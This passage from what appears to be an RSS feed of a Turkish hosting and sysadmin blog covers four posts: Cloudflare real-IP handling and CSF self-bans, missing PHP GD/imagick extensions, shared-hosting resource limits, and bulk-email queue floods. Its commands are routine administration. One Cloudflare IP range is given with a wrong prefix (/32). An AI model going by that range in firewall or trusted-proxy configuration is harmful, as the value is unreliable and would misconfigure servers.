<p>Bu andan itibaren dünyadaki hiçbir ziyaretçi doğrudan sizin sunucunuzun IP adresine (<code>185.120.xx.xx</code>) bağlanmaz. Ziyaretçi önce Cloudflare'in dünya geneline yayılmış 300'den fazla veri merkezindeki kenar (edge) sunucularından birine bağlanır. Cloudflare trafiği filtreler, temizler ve ardından kendi IP adreslerinden biriyle sizin sunucunuza bağlanıp içeriği çeker (<code>Origin Fetch</code>).</p>
<p>Buraya kadar her şey bir mühendislik harikasıdır. Ancak kök sunucudaki (Apache, Nginx veya LiteSpeed) web sunucusu yazılımı, gelen bu bağlantıların TCP el sıkışmasında Cloudflare'in IP bloklarını görür (<code>173.245.48.0/20</code>, <code>103.21.244.0/22</code>, <code>141.101.64.0/32</code> vb.).</p>
<p>Eğer sunucunuzda gerekli tercüman modülü kurulu değilse, sunucunuz için dünyadaki tüm ziyaretçiler (Almanya'daki Ayşe Hanım, Ankara'daki Mehmet Bey, Çin'deki zararlı bot) tek bir kişidir: <strong>Cloudflare!</strong></p>
<h3>Gece Yarısı Kriz: CSF'nin İntikamı</h3>
<p>Sunucuda koşan otomatik bir güvenlik duvarı vardır: <strong>CSF (ConfigServer Security &#x26; Firewall)</strong>, fail2ban veya iptables.</p>
<p>Gece saat 02:15'te sitenin WordPress giriş sayfasına (<code>/wp-login.php</code>) Rusya'dan bir bot kaba kuvvet (brute force) parola denemesi başlatır. Bot saniyede 15 şifre denemektedir. İstek Cloudflare üzerinden sunucuya akar.</p>
<p>Sunucu güvenlik duvarı bakar: <em>"172.68.22.45 IP adresinden son 60 saniyede 50 başarısız şifre denemesi yapıldı!"</em></p>
<p>Güvenlik duvarı acımasız kuralını işletir:</p>
<pre><code class="language-bash">csf -d 172.68.22.45 "Brute force attack on wp-login"
# veya iptables:
iptables -A INPUT -s 172.68.22.45 -j DROP
</code></pre>
<p>İşte felaket tam bu saniyede patlar. <code>172.68.22.45</code>, saldırganın değil; Cloudflare'in Türkiye, Balkanlar ve Ortadoğu trafiğini taşıyan devasa bir aktarma istasyonudur!</p>
<p>Güvenlik duvarı bu IP'yi banladığı an, o aktarma istasyonundan gelen binlerce masum ziyaretçinin, şirketin kurumsal müşterilerinin ve e-ticaret alıcılarının bağlantısı duvara toslar. Tarayıcılarda o meşhur Cloudflare hata sayfası belirir:</p>
<blockquote>
<p><strong>Error 522: Connection Timed Out</strong><br>
<em>"Cloudflare is unable to reach your origin server."</em></p>
</blockquote>
<p>Site bir saniyede dünya genelinde karanlığa gömülür.</p>
<h3>Destek Masasında Gece Nöbeti</h3>
<p>Sabah saat 08:30'da sistem yöneticisinin telefonu çalar: <em>"Sitemiz çöktü, Cloudflare 522 veriyor!"</em></p>
<p>Yönetici Cloudflare paneline bakar; "Her şey yeşil, saldırı yok" demektedir. Kök sunucuya SSH ile girer; CPU %5, RAM %20'dir; web sunucusu ayaktadır. <em>"Sunucu çalışıyor ama siteye girilemiyor, kesin Cloudflare'de global kesinti var!"</em> diyerek suçu Cloudflare'e atar.</p>
<p>Oysa CSF loglarına (<code>/var/log/messages</code> veya <code>/etc/csf/csf.deny</code>) baktığında, Cloudflare'in neredeyse tüm IP havuzunun sunucu tarafından tek tek tutuklanıp hücreye atıldığını görür! Kendi kalkanını kendi eliyle kurşuna dizmiştir.</p>
<h3>Gerçek Kimliği Görmek: <code>CF-Connecting-IP</code> ve mod_remoteip</h3>
<p>Bir ters vekil arkasında çalışırken sunucunun kör olmasını engellemek, tıp dilindeki "hasta bilekliğini okumak" kadar basit ve hayati bir protokoldür. Cloudflare, kök sunucuya istek atarken HTTP paketinin başlığına (header) ziyaretçinin gerçek ev IP'sini iliştirir:</p>
<pre><code class="language-http">CF-Connecting-IP: 195.175.44.12
X-Forwarded-For: 195.175.44.12, 172.68.22.45
</code></pre>
<p>Sunucunun yapması gereken tek şey, TCP soketindeki IP'yi değil, bu başlığın içindeki IP'yi "gerçek IP" olarak kabul etmektir:</p>
<ol>
<li><strong>Apache için <code>mod_remoteip</code>:</strong><br>
Apache konfigürasyonuna (<code>remoteip.conf</code>) şu satırlar eklenir:
<pre><code class="language-apache">RemoteIPHeader CF-Connecting-IP
RemoteIPTrustedProxy 173.245.48.0/20
RemoteIPTrustedProxy 103.21.244.0/22
RemoteIPTrustedProxy 172.64.0.0/13
# Tüm Cloudflare IP blokları tanımlanır
</code></pre>
</li>
<li><strong>Nginx için <code>ngx_http_realip_module</code>:</strong>
<pre><code class="language-nginx">set_real_ip_from 173.245.48.0/20;
set_real_ip_from 103.21.244.0/22;
real_ip_header CF-Connecting-IP;
</code></pre>
</li>
<li><strong>Güvenlik Duvarı İzni (Whitelisting):</strong> CSF veya iptables üzerinde Cloudflare'in tüm resmi IP blokları <code>csf.allow</code> dosyasına eklenerek güvenlik duvarının bu IP'leri asla otomatik banlamaması garanti altına alınır.</li>
</ol>
<p>Kalkan taşımak savaşçıyı korur; ancak kalkanın arkasındaki gözü kör ederseniz, dost askeri düşman sanıp kendi ordunuzu katledersiniz. Cloudflare bir lütuftur; fakat altyapınızın dilini onunla konuşacak şekilde eğitmezseniz, en büyük koruyucunuz en büyük felaketiniz haline gelir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Cloudflare</category>
            <category>Reverse Proxy</category>
            <category>Güvenlik Duvarı</category>
            <category>mod_remoteip</category>
            <category>Sistem Yönetimi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/cloudflare-arkasina-saklanan-musteri-ve-gercek-ip-karmasasi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["PHP GD / imagick Kütüphanesi Yok": Görsel Yükleyemeyen E-Ticaret Sitesi]]></title>
            <link>http://localhost:3000/blog/post/php-gd--imagick-kutuphanesi-yok-gorsel-yukleyemeyen-e-ticaret-sitesi</link>
            <guid>php-gd--imagick-kutuphanesi-yok-gorsel-yukleyemeyen-e-ticaret-sitesi</guid>
            <pubDate>Thu, 19 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Sunucuda 128 GB RAM ve 32 çekirdek işlemci olmasına rağmen, tek bir mikroskobik PHP grafik kütüphanesi (GD / ImageMagick) eksik olduğu için ürün fotoğraflarını işleyemeyen ve "Diskiniz bozuk" feryadıyla kilitlenen e-ticaret siteleri.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/php-gd--imagick-kutuphanesi-yok-gorsel-yukleyemeyen-e-ticaret-sitesi/thumbnail" alt=""> İnsan fizyolojisinde hayranlık uyandırıcı bir hassasiyet vardır: Bazen yüz kiloluk devasa bir atletin sağlığı, mikrogram düzeyinde salgılanan tek bir enzime bağlıdır. Örneğin pankreasınızdaki mikroskobik amilaz veya ince bağırsağınızdaki laktaz enzimi eksikse, dünyanın en kaliteli, en besleyici organik gıdasını tüketseniz bile vücudunuz o besini parçalayamaz. Karmaşık karbonhidratlar ve süt şekerleri sindirim kanalında birikir; bağırsak krampları, masif şişkinlik ve malabsorpsiyon (emilim bozukluğu) başlar. Dışarıdan bakan biri sporcunun güçlü kaslarına bakıp <em>"Bu adam sapasağlam, neden ayakta duramıyor?"</em> der. Oysa sorun kaslarda değil, o görünmeyen tek bir katalizör enzimin yokluğundadır.</p>
<p>Yazılım mimarisi ve sunucu donanımı dünyasında da tam olarak bu biyolojik enzim eksikliği tablosu yaşanır. Sunucunuzda çift soket AMD EPYC işlemciler, 256 GB ECC RAM ve kurumsal NVMe disk dizileri olabilir. Ancak Linux üzerinde koşan PHP derlemesinde mikroskobik bir kütüphane eksikse —<strong>PHP GD veya ImageMagick (<code>imagick</code>)</strong>— yüz binlerce liralık e-ticaret altyapınız tek bir ürün fotoğrafı karşısında felç kalır.</p>
<h3>Perşembe 15:00: Yeni Sezon Ürünleri Yüklenemiyor</h3>
<p>Giyim veya ayakkabı sektöründe faaliyet gösteren kurumsal bir e-ticaret firmasının genel merkezinde tatlı bir telaş vardır. Stüdyo çekimleri tamamlanmış, mankenlerin fotoğrafları Photoshop'tan geçmiş ve yeni sezon kataloğunun sisteme girilmesine başlanmıştır.</p>
<p>İçerik yöneticisi yönetim paneline (WooCommerce, OpenCart, PrestaShop veya Laravel tabanlı özel panel) girer. Ürün adını yazar: <em>"Hakiki Deri Erkek Botu"</em>. Fiyatı girer, stok kodunu tanımlar. Ardından stüdyodan gelen 4000x3000 piksel boyutundaki 4 MB'lık kusursuz ürün fotoğrafını seçip <strong>"Yükle"</strong> butonuna basar.</p>
<p>Yükleme çubuğu %100'e ulaşır. Ve tam o anda sistem donar. Ekran kararır, arayüzde kırmızı bir pop-up patlar:</p>
<blockquote>
<p><strong>"Hata: Görsel sunucuya yüklenemedi veya işlenemedi. Lütfen daha sonra tekrar deneyiniz."</strong></p>
</blockquote>
<p>İçerik yöneticisi ikinci fotoğrafı dener; aynı hata. Üçüncü fotoğraf; yine aynı hata. Firmanın e-ticaret direktörü hemen telefona sarılır ve hosting firmasını aramaya başlar:</p>
<blockquote>
<p><em>"Sizin sunucunuz bozuk! Yeni sezon ürünlerimizi giremiyoruz, kampanya başlayacak! Diskiniz mi doldu, izinleri mi kilitlediniz? Milyonluk reklam çıktık, derhal o diski tamir edin!"</em></p>
</blockquote>
<h3>Hata Kayıtlarındaki Enzim Eksikliği</h3>
<p>Destek mühendisi sunucunun disk durumunu kontrol eder: <code>df -h</code>. Disk doluluk oranı sadece <strong>%12</strong>'dir. İzinlere bakar: <code>public_html/uploads</code> dizini <code>chmod 0755</code> ile yazılabilir durumdadır. Sunucuda donanımsal hiçbir arıza yoktur.</p>
<p>Mühendis PHP hata loglarını (<code>error_log</code>) açar. Ve ekranda o klasik teşhis parıldar:</p>
<pre><code class="language-text">[19-Mar-2026 15:04:12 UTC] PHP Fatal error: Uncaught Error: 
Call to undefined function imagecreatefromjpeg() in /home/firma/public_html/
wp-includes/class-wp-image-editor-gd.php:48
</code></pre>
<p>Veya ImageMagick tabanlı bir sistemde:</p>
<pre><code class="language-text">Fatal error: Class 'Imagick' not found in /home/firma/public_html/app/Services/
ImageResizer.php on line 32
</code></pre>
<p>Hekim teşhisi koymuştur: <strong>Akut Enzim Eksikliği!</strong></p>
<p>Kullanıcı bir fotoğraf yüklediğinde modern CMS sistemleri o fotoğrafı olduğu gibi sunucuya bırakmaz. Sayfa açılış hızını korumak için o 4 MB'lık devasa görseli arka planda parçalar; ondan 150x150 piksellik bir küçük resim (thumbnail), 600x600 piksellik bir katalog resmi ve 1200x800 piksellik bir detay görseli türetir. WebP formatına sıkıştırır.</p>
<p>Bu küçültme, kırpma ve dönüştürme ameliyatını yapan cerrah, PHP'nin <strong>GD</strong> veya <strong>imagick</strong> uzantısıdır. Eğer sunucuda bu modül kurulu değilse veya <code>php.ini</code> dosyasında pasif bırakılmışsa, PHP kodu <code>imagecreatefromjpeg()</code> fonksiyonunu gördüğü an şoka girer: <em>"Ben bu fonksiyonu tanımıyorum!"</em> der ve ölüm fermanı olan <code>Fatal error</code> basarak işlemi yarıda keser.</p>
<h3>"Sunucu Ne İşe Yarar ki?" Kavgası</h3>
<p>Durum müşteriye anlatılır: <em>"Sayın müşterimiz, sunucunuzdaki PHP sürümünde GD ve ImageMagick uzantıları aktif edilmemiş. cPanel > Select PHP Version > Extensions menüsünden tek bir tıkla <code>gd</code> ve <code>imagick</code> kutucuklarını işaretlemeniz gerekmektedir."</em></p>
<p>Müşteri şaşkındır: <em>"Kardeşim madem öyle, siz niye en baştan kurmadınız? Bir sunucu fotoğraf bile küçültemiyorsa ne işe yarar?"</em></p>
<p>Müşteri haklı gibi görünse de madalyonun diğer yüzünde sistem optimizasyonu yatar. Bazı paylaşımlı sunucularda veya minimalist Docker konteynerlerinde bellek tasarrufu yapmak veya ImageMagick'in geçmişte çıkardığı bazı ciddi güvenlik açıkları (ImageTragick - CVE-2016-3714 gibi uzaktan kod çalıştırma zafiyetleri) nedeniyle bu modüller varsayılan olarak kapalı tutulur. Sistem yöneticisi güvenliği sıkılaştırmak isterken, e-ticaretin en temel fonksiyonunu felç etmiştir.</p>
<h3>Cerrahi Reçete: Grafik Motorunu Ayağa Kaldırmak</h3>
<p>E-ticaret ve medya odaklı sistemlerde görsel işleme altyapısını eksiksiz ve performanslı kılmak için izlenmesi gereken standart protokol şudur:</p>
<ol>
<li><strong>Uzantıların Yüklenmesi ve Aktif Edilmesi:</strong><br>
CentOS/CloudLinux (cPanel) sistemlerinde:
<pre><code class="language-bash">yum install ea-php82-php-gd ea-php82-php-imagick
# Veya CloudLinux Alt-PHP paneli üzerinden:
selectorctl --enable-user-extensions=gd,imagick --version=8.2 --user=firma
</code></pre>
Ubuntu/Debian sistemlerinde:
<pre><code class="language-bash">apt-get install php8.2-gd php-imagick
systemctl restart php8.2-fpm
</code></pre>
</li>
<li><strong>Bellek Limitinin Artırılması (<code>memory_limit</code>):</strong> Yüksek çözünürlüklü bir JPEG görselini bellekte açıp piksellerine ayırmak devasa RAM tüketir. 20 megapiksellik bir fotoğrafı işlemek için PHP <code>memory_limit</code> değeri en az <strong>256 MB veya 512 MB</strong> seviyesine çıkarılmalıdır. Aksi halde GD kütüphanesi olsa bile <code>Allowed memory size exhausted</code> hatasıyla sistem yine tıkanır.</li>
<li><strong>WebP ve AVIF Desteği:</strong> Modern web standartlarında GD kütüphanesinin <code>libwebp</code> ve <code>libavif</code> derlemeleriyle birlikte yüklendiğinden emin olmak. Böylece yüklenen fotoğraflar otomatik olarak yeni nesil formatlara dönüştürülerek sayfa hızları maksimuma çıkarılır.</li>
</ol>
<p>Koca bir filin küçücük bir arı sokmasıyla sendelemesi gibi, en güçlü sunucular da tek bir satırlık PHP uzantısının eksikliğiyle diz çöker. Donanım kas gücüdür; ancak o gücü hayata geçiren şey doğru yapılandırılmış yazılım kütüphaneleridir. Enzimi eksik olan vücut beslenemez; GD kütüphanesi eksik olan sunucu ticaret yapamaz.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>PHP</category>
            <category>ImageMagick</category>
            <category>GD</category>
            <category>E-Ticaret</category>
            <category>Sistem Yönetimi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/php-gd--imagick-kutuphanesi-yok-gorsel-yukleyemeyen-e-ticaret-sitesi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Yıllık 50 TL'lik Paketle 100 bin Anlık Ziyaretçi Beklentisi" (Sosyal Medya Sıçraması)]]></title>
            <link>http://localhost:3000/blog/post/yillik-50-tllik-paketle-100-bin-anlik-ziyaretci-beklentisi-sosyal-medya-sicramasi</link>
            <guid>yillik-50-tllik-paketle-100-bin-anlik-ziyaretci-beklentisi-sosyal-medya-sicramasi</guid>
            <pubDate>Wed, 18 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Bir televizyon programına, fenomen paylaşımına veya viral trende konu olan küçük bir sitenin, yıllık 50 TL ödediği başlangıç paketinde 100 bin anlık ziyaretçiyi karşılayamayıp 508 Resource Limit kilitlenmesi yaşaması ve sahibinin isyanı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/yillik-50-tllik-paketle-100-bin-anlik-ziyaretci-beklentisi-sosyal-medya-sicramasi/thumbnail" alt=""> Afet tıbbında ve acil hekimliğinde en çok korkulan senaryolardan biri "Kitlesel Yaralanma Olayı"dır (Mass Casualty Incident - MCI). Gözünüzün önüne ıssız bir dağ köyündeki iki odalı sağlık ocağını getirin. İçeride sadece bir pratisyen hekim ve bir sağlık memuru görev yapmaktadır. Günlük rutinleri tansiyon ölçmek, aşı yapmak ve reçete yazmaktır. Bir bayram günü, sağlık ocağının 500 metre ilerisindeki virajda iki şehirlerarası yolcu otobüsü kafa kafaya çarpışır.</p>
<p>Üç dakika içinde o iki odalı sağlık ocağının bahçesine ve kapısına 150 ağır yaralı, kırıkları ve kanamaları olan insan yığılır. O iki kişilik fedakâr sağlık ekibinin elindeki sargı bezi 40 saniyede biter, tek oksijen tüpü ilk dakikada tükenir, sedye olmadığı için hastalar koridorda birbirinin üzerine yığılır. Hekim ne kadar yetenekli olursa olsun o kapı kilitlenmek zorundadır; çünkü fiziksel kapasite biyolojik bir duvara toslamıştır.</p>
<p>Web barındırma ekosisteminde de destek masalarını en çok güldüren ama aynı zamanda en çok yoran trajedilerden biri, tam olarak bu kitlesel vaka izdihamıdır: <strong>Yıllık maliyeti bir paket çerez parasını geçmeyen paylaşımlı hosting paketiyle ulusal televizyon veya sosyal medya patlamasını karşılamaya kalkışmak.</strong></p>
<h3>Cuma Akşamı 21:30: "Az Sonra Canlı Yayındayız!"</h3>
<p>Senaryo neredeyse harfi harfine aynıdır. Küçük bir el yapımı deri cüzdan üreticisi veya yerel bir çikolata butiği... Sahibi iki yıl önce bir kampanya görmüş, yıllık 50-100 TL'ye en temel paylaşımlı başlangıç paketini satın almıştır. Sitede günde ortalama 15-20 kişi gezmekte, ayda 3 sipariş çıkmaktadır.</p>
<p>Bir cuma akşamı şans yüzüne güler. Türkiye'nin en çok izlenen ana haber bülteninde veya milyonlarca takipçisi olan popüler bir YouTube kanalında bizim butik üreticinin hikayesi yayınlanır: <em>"Anadolu'dan dünyaya açılan lezzet mucizesi!"</em></p>
<p>Sunucu ekranda markanın web sitesini gösterir ve adını söyler: <code>sirketadi.com.tr</code>.</p>
<p>O saniyede, Türkiye'nin dört bir yanından aynı anda <strong>40.000 kişi</strong> akıllı telefonlarından siteye girmek için linke tıklar.</p>
<h3>CloudLinux ve 508 Resource Limit Duvarı</h3>
<p>Kullanıcının barındığı sunucuda CloudLinux işletim sistemi ve LVE (Lightweight Virtual Environment) kalkanı devrededir. Kullanıcının satın aldığı paketin sınırları bellidir:</p>
<ul>
<li><strong>CPU:</strong> %100 (Tek bir çekirdeğin gücü)</li>
<li><strong>RAM:</strong> 1 GB (1024 MB)</li>
<li><strong>Eşzamanlı İşlem (Entry Processes / EP):</strong> 20</li>
<li><strong>Eşzamanlı Toplam Süreç (NPROC):</strong> 40</li>
<li><strong>I/O Limiti:</strong> 2 MB/s</li>
</ul>
<p>Gelen ilk 20 kişi sitenin ana sayfasını yükler. WordPress ayağa kalkar, 45 farklı eklentiyi hafızaya yükler, MySQL'e 30 farklı sorgu atar.</p>
<p>Ve 3. saniyede 21. kişi kapıya gelir. EP sınırı (20) aşılmıştır!</p>
<p>Sunucu işlemcisi o kullanıcıya ayrılan tek çekirdeği %100 tüketir. Bellek 1024 MB tavanına vurur. CloudLinux çekirdeği (kernel), sunucudaki diğer 300 masum sitenin zarar görmesini engellemek için giyotini indirir.</p>
<p>Siteye girmeye çalışan on binlerce insanın ekranında o meşhur, buz gibi hata belirir:</p>
<pre><code class="language-text">508 Resource Limit Is Reached
The website is temporarily unable to service your request as it exceeded 
resource limits. Please try again later.
</code></pre>
<p>Potansiyel milyonlarca liralık satış fırsatı, 30 saniye içinde buharlaşır gider.</p>
<h3>"Sunucunuz Çökeceği Günü Bildi!" Öfkesi</h3>
<p>Ekranda haber devam ederken, müşteri çılgınlar gibi destek hattını arar. Hatta ağlamaklı bir öfkeyle bağırır:</p>
<blockquote>
<p><em>"Siz nasıl bir firmasınız! İki yıldır sitenin hiçbir şeyi yoktu, tıkır tıkır çalışıyordu. Tam televizyona çıktık, Türkiye bizi konuşuyor, sunucunuz çöktü! Çökeceği günü bildi resmen! Bütün müşterilerim kaçtı, trilyonluk zararım var! Hemen o sunucuyu açın, neyi bekliyorsunuz!"</em></p>
</blockquote>
<p>Destek mühendisi LVE istatistiklerini (<code>lveinfo</code>) ekrana yansıtır: <em>"Beyefendi, sunucumuz çökmedi. Sunucu sapasağlam ayakta. Sitenize şu anda saniyede 8.000 yeni istek geliyor. Sizin satın aldığınız paket ise aynı anda sadece 20 kişinin tıklamasını karşılayabilecek kapasitede bir başlangıç paketidir."</em></p>
<p>Müşterinin cevabı asla şaşmaz:</p>
<blockquote>
<p><em>"Bana ne sınırdan kardeşim! Hosting hosting değil mi? Ben parasını ödemedim mi? Açın oradan vanayı, verin bütün sunucuyu bana! Yarın düşer zaten trafik!"</em></p>
</blockquote>
<h3>Stadyumu Köy Kahvesine Sığdırma İllüzyonu</h3>
<p>Bir köy kahvesi kiralayıp içine 5 masa, 20 sandalye koyduğunuzu düşünün. Bir akşam Galatasaray-Fenerbahçe derbisi oynanacak diye kahvenin kapısına 50.000 taraftar yığılırsa ve kahveci kapıyı kapatıp <em>"İçeri giremezsiniz, yerim yok"</em> derse; kahveciye <em>"Sen beni rezil ettin, neden stadyum değilsin?"</em> diye kızabilir misiniz?</p>
<p>Paylaşımlı hosting, kişisel sunucu parkı değildir. Bir stadyum dolusu insanı aynı saniyede karşılamak istiyorsanız, mimarinizi ona göre inşa etmek zorundasınız:</p>
<ol>
<li><strong>Önbellekleme Katmanı (Full Page Caching):</strong> WordPress'i her ziyarette PHP ve MySQL'i yeniden çalıştıracak şekilde çıplak bırakamazsınız. Redis / Memcached veya LiteSpeed Cache (LSCache) ile sitenin sayfalarını statik HTML olarak RAM'de tutmak zorundasınız. Statik HTML bir sayfa, 1 çekirdekle bile saniyede 5.000 isteği rahatlıkla karşılar.</li>
<li><strong>CDN Kenar Önbelleklemesi (Cloudflare Edge Cache):</strong> Sitenin önbelleğini Cloudflare üzerine alıp "Cache Everything" kuralı tanımlarsanız, o 40.000 kişinin %95'i sizin sunucunuza hiç ayak basmadan Cloudflare'in devasa sunucularından içeriği alır.</li>
<li><strong>Otomatik Ölçeklenen Bulut (Auto-scaling Cloud / Kubernetes):</strong> Televizyona veya büyük bir reklam kampanyasına çıkmadan önce sistemi AWS, Google Cloud veya DigitalOcean üzerinde yük arttıkça yeni sunucu kopyaları ayağa kaldıran (Load Balancer + Auto Scaling) elastik bir kümeye taşımak gerekir.</li>
</ol>
<p>Yılda 50 lira ödeyip arkasına yaslanarak ulusal televizyon reytingini karşılamayı beklemek mühendislik değil, hayalperestliktir. Altyapı bir mucize yeri değildir; matematiğin, bant genişliğinin ve donanım sınırlarının hüküm sürdüğü fiziksel bir dünyadır. Hayalleriniz milyonluksa, altyapınıza ayıracağınız bütçe de bir fincan çay parasından fazla olmak zorundadır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Trafik</category>
            <category>CloudLinux</category>
            <category>LVE</category>
            <category>Hosting</category>
            <category>Sistem Mimarisi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/yillik-50-tllik-paketle-100-bin-anlik-ziyaretci-beklentisi-sosyal-medya-sicramasi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["SMTP Limiti" ve Bayram/Kandil Toplu E-Posta Çılgınlığı]]></title>
            <link>http://localhost:3000/blog/post/smtp-limiti-ve-bayramkandil-toplu-e-posta-cilginligi</link>
            <guid>smtp-limiti-ve-bayramkandil-toplu-e-posta-cilginligi</guid>
            <pubDate>Tue, 17 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Dini bayramlarda veya özel günlerde, paylaşımlı sunucudaki saatlik 100 adetlik SMTP limitini zorlayıp 15 bin müşterisine aynı anda görselli tebrik mesajı göndermeye çalışan esnafın sunucu posta kuyruğunu patlatması ve IP kara liste felaketi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/smtp-limiti-ve-bayramkandil-toplu-e-posta-cilginligi/thumbnail" alt=""> Kardiyoloji ve acil tıp kliniklerinde "İatrojenik Hipervolemi" (tedaviye bağlı sıvı yüklenmesi) ve beraberinde gelen "Akut Akciğer Ödemi" kadar dramatik çok az vaka vardır. Kalp yetmezliği sınırında olan yaşlı bir hastaya damar yolu açıldığında hekimin emri kesindir: <em>"Damardan saatte en fazla 50 mililitre sıvı verilecek."</em></p>
<p>Şimdi düşünün ki dikkatsiz bir hasta yakını veya tecrübesiz bir stajyer, "Hastaya can gelsin, çabuk iyileşsin" diyerek serum setinin tekerleğini sonuna kadar açıyor ve beş dakikada 4 litre sıvıyı hastanın damarına bodoslama boca ediyor. Kalbin sol ventrikülü o devasa sıvı dalgası karşısında afallar; kanı ileri pompalayamaz. Basınç geriye doğru akciğer kılcal damarlarına biner; plazma sıvısı kılcallardan taşıp hava keseciklerinin (alveoller) içine dolmaya başlar. Hasta dakikalar içinde pembe köpüklü balgam çıkararak, kendi kanının sıvısında boğulma krizine girer. İyilik yapma hevesi, ölümcül bir boğulma felaketine dönüşmüştür.</p>
<p>Bilişim dünyasında da her dini bayram, kandil veya yılbaşı sabahı hosting firmalarının e-posta sunucularında yaşanan dehşet, tam olarak bu akut akciğer ödemi tablosudur: <strong>Saatlik 100 e-posta limiti olan paylaşımlı sunucudan aynı anda 15.000 müşteriye görselli bayram tebriği fırlatmaya kalkışmak.</strong></p>
<h3>Bayram Sabahı 08:00: Kutsal E-posta Düğmesi</h3>
<p>Olay genellikle mobilyacı, toptan hırdavatçı veya yerel bir sigorta acentesinin ofisinde patlak verir. Şirket sahibi veya halkla ilişkiler sorumlusu, bayram sabahı şirketin müşterilerine bir jest yapmak ister. Bir grafiker arkadaşına pırıl pırıl, yaldızlı bir bayram tebrik afişi hazırlatmıştır: <code>bayraminiz_kutlu_olsun.jpg</code> (Boyut: 3.5 Megabayt!).</p>
<p>Şirketin elinde Excel'den çekilmiş 14.800 adet müşteri e-posta adresi vardır.</p>
<p>Kullanıcı bu listeyi alıp Mailchimp, Sendgrid veya Brevo gibi profesyonel toplu e-posta gönderim platformlarına yüklemek istemez; çünkü o platformlar bu hacim için aylık 30-50 dolar para istemektedir. Kullanıcımız o meşhur "bedavacı" mantığı devreye sokar: <em>"Neden elin gavuruna para vereyim? Benim cPanel'imde mail yok mu? Outlook'a yapıştırırım listeyi, tıkır tıkır gönderir!"</em></p>
<p>Outlook açılır. "Kime" kısmına kendi adresi, "Gizli (BCC)" kısmına ise o 14.800 e-posta adresi bodoslama yapıştırılır. 3.5 MB'lık görsel mesaja iliştirilir ve <strong>"GÖNDER"</strong> butonuna basılır.</p>
<h3>Exim Posta Kuyruğunda (Mail Queue) Masif Boğulma</h3>
<p>O butona basıldığı an, sunucunun Mail Transfer Agent (MTA) servisi olan Exim veya Postfix'in üzerine 15.000 adet e-postalık devasa bir sıvı dalgası biner. Üstelik 3.5 MB'lık görsel Base64 kodlamasıyla her bir mailde 4.8 MB'a şişmiştir!</p>
<p>14.800 mail çarpı 4.8 MB = <strong>Tam 71 Gigabaytlık ham veri!</strong></p>
<p>Sunucuda ne olur?</p>
<ol>
<li><strong>Saatlik Limit Duvarı (Hourly Limit):</strong> Paylaşımlı sunucularda tek bir domainin saatte gönderebileceği e-posta sayısı spamı engellemek için genellikle <strong>100 veya 150 adetle</strong> sınırlandırılmıştır. İlk 100 mail çıkar; 101. mailde Exim kapıyı kilitler: <code>Domain sirketadi.com.tr has exceeded the max emails per hour (100/100)</code>.</li>
<li><strong>Kuyruk Tıkanması (Mail Queue Explosion):</strong> Geriye kalan 14.700 adet e-posta sunucunun <code>/var/spool/exim/input</code> dizininde kuyruğa (queue) yazılır. Sunucunun disk I/O operasyonları kilitlenir.</li>
<li><strong>Komşuların Boğulması:</strong> Sunucudaki diğer 250 masum şirketin teklif mailleri, banka onay kodları ve resmi yazışmaları, bu 71 GB'lık devasa bayram tebriği kuyruğunun en arkasına düşer. Hiç kimse e-posta alamaz ve gönderemez hale gelir.</li>
<li><strong>IP Kara Liste İdamı (Spamhaus / RBL):</strong> Gönderilen o ilk 100 mail Hotmail, Gmail ve Yahoo sunucularına ulaştığında alıcı algoritmaları durumu anında fark eder: <em>"Aynı sunucu IP'sinden aynı saniyede binlerce adrese BCC ile görsel postalanıyor!"</em> Sunucunun IP adresi anında <strong>Spamhaus, Barracuda ve SORBS</strong> kara listelerine (RBL) çakılır. Artık sunucudaki hiçbir müşterinin maili dünyada tek bir adrese bile ulaşamaz!</li>
</ol>
<h3>Saat 10:30: "Müşterilerim Tebriğimi Alamamış!"</h3>
<p>Bayram sabahı çocuklarıyla kahvaltı yapan nöbetçi sistem yöneticisinin telefonu acı acı çalmaya başlar. Destek paneli alev almıştır:</p>
<blockquote>
<p><em>"Bayram günü olacak iş mi bu! Bütün müşterilerime bayram tebriği attım, yarısı gitmemiş, 'Mail kota aşıldı' hatası veriyor! Siz benim ticari itibarımı ve müşterilerimle ilişkimi nasıl baltalarsınız? Derhal o mailleri gönderin, bayram namazı bitti millet tebrik bekliyor!"</em></p>
</blockquote>
<p>Sistem yöneticisi SSH ile sunucuya girer: <code>exim -bpc</code>. Kuyruktaki mail sayısı: <strong>38.412!</strong></p>
<p>Mühendisin yapacağı tek bir acil cerrahi müdahale vardır: Akciğer ödemindeki hastaya yüksek doz diüretik (Lasix) vermek ve akciğeri aspire etmek gibi, o devasa kuyruğu tek bir komutla acımasızca lağvetmek:</p>
<pre><code class="language-bash"># Kuyruktaki o hesaba ait tüm mailleri dondur ve imha et:
exiqgrep -i -f user@sirketadi.com.tr | xargs exim -Mrm
</code></pre>
<p>38 bin e-posta çöpe atılır. Kuyruk temizlenir. Sunucu nihayet derin bir nefes alır. Müşterinin hesabı ise spam kurallarını ihlal ettiği gerekçesiyle askıya (<code>suspend</code>) alınır.</p>
<h3>Toplu E-Posta ile Kurumsal Yazışma Arasındaki Fark</h3>
<p>Bu trajik vaka, işletmelerin en temel dijital iletişim kuralını kavramamasından kaynaklanır: <strong>Web hosting e-posta altyapısı bir toplu pazarlama veya bülten dağıtım aracı değildir.</strong></p>
<ol>
<li><strong>Transactional ve Kişisel İletişim:</strong> cPanel veya standart hosting e-postası; faturanız, teklifiniz, personel yazışmanız içindir. Birebir ve düşük hacimli iletişim için tasarlanmıştır.</li>
